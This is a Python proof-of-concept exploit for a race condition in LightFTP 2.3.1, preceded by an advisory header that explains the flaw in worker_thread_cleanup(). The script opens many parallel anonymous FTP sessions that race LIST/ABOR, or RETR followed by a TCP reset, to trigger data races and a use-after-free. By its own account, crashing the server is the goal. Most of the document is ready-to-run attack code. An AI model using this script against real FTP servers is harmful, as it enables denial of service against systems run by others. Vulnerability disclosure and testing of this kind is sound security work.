#!/usr/bin/env python3 # # # LightFTP Server 2.3.1 Race Condition # # # Vendor: LightFTP Project # Product web page: https://github.com/hfiref0x/LightFTP # Affected version: 2.3.1 # # Summary: Small x86-32/x64 FTP Server. # # Desc: LightFTP 2.3.1 contains a residual race condition (an incomplete # fix for CVE-2024-11144) in the worker_thread_cleanup() function of ftpserv.c. # The control thread reads and acts on shared per-connection state, including # the worker thread id it then passes to pthread_join()/pthread_cancel(), # without holding the context->MTLock mutex that the worker threads use when # updating that same state; and because the workers are detached, their thread # id can be reused once they exit. A remote (anonymous) client triggers the # window by starting a data-transfer command such as LIST and immediately # issuing ABOR, running the unsynchronized cleanup while the worker is still # finishing. ThreadSanitizer confirms multiple data races on the shared context # and a mutex being destroyed while still in use, and the cleanup joins or # cancels a detached, potentially reused thread id, which is undefined behavior # that can destabilize or crash the daemon and result in denial of service. # The 2.3.1 patch only narrowed the timing window (an extra re-check and # reordered cleanup); it never added the missing lock, so the underlying # race remains. # # Tested on: Kali Linux # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-6001 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6001 # # CVE ID: CVE-2026-67607 # CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-67607 # # # 29.07.2026 # import threading import argparse import struct import socket import time _counter_lock = threading.Lock() _rounds = 0 def _recv(sock, timeout=2.0): sock.settimeout(timeout) try: return sock.recv(4096).decode("latin-1", "replace") except OSError: return "" def _send(sock, line): sock.sendall((line + "\r\n").encode()) def _pasv_port(resp): try: a = resp[resp.find("(") + 1: resp.find(")")].split(",") if len(a) != 6: return None return (int(a[4]) << 8) + int(a[5]) except (ValueError, IndexError): return None def _hard_reset(sock): try: sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0)) sock.close() except OSError: pass def _one_round(args): c = socket.create_connection((args.host, args.port), timeout=5) _recv(c) # banner _send(c, "USER " + args.user); _recv(c) _send(c, "PASS " + args.password); _recv(c) _send(c, "TYPE I"); _recv(c) _send(c, "PASV") dport = _pasv_port(_recv(c)) if not dport: c.close() return d = socket.create_connection((args.host, dport), timeout=5) if args.mode == "drop": _send(c, "RETR " + args.file) time.sleep(args.gap) _hard_reset(c) try: d.close() except OSError: pass else: _send(c, "LIST") time.sleep(args.gap) _send(c, "ABOR") try: d.close() except OSError: pass _recv(c, timeout=3) try: _send(c, "QUIT"); c.close() except OSError: pass def session(args, tid): global _rounds for _ in range(args.iterations): try: _one_round(args) with _counter_lock: _rounds += 1 except OSError: break def main(): p = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) p.add_argument("--host", default="127.0.0.1") p.add_argument("--port", type=int, default=2121) p.add_argument("--user", default="anonymous") p.add_argument("--password", default="x") p.add_argument("--connections", type=int, default=16) p.add_argument("--iterations", type=int, default=20) p.add_argument("--gap", type=float, default=0.0, help="seconds to let the worker run before ABOR / RST") p.add_argument("--mode", choices=["abor", "drop"], default="abor", help="abor: LIST+ABOR (data-race path). " "drop: RETR a large file then RST the control " "connection (use-after-free-of-ctx path).") p.add_argument("--file", default="big.bin", help="file to RETR in drop mode (make it large, server-side)") a = p.parse_args() print("[*] mode=%s racing %s:%d with %d connections x %d iterations" % (a.mode, a.host, a.port, a.connections, a.iterations)) threads = [threading.Thread(target=session, args=(a, i)) for i in range(a.connections)] t0 = time.time() for t in threads: t.start() for t in threads: t.join() print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0)) print(" watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free " "of the stack ctx); a server crash is the positive result.") if __name__ == "__main__": main()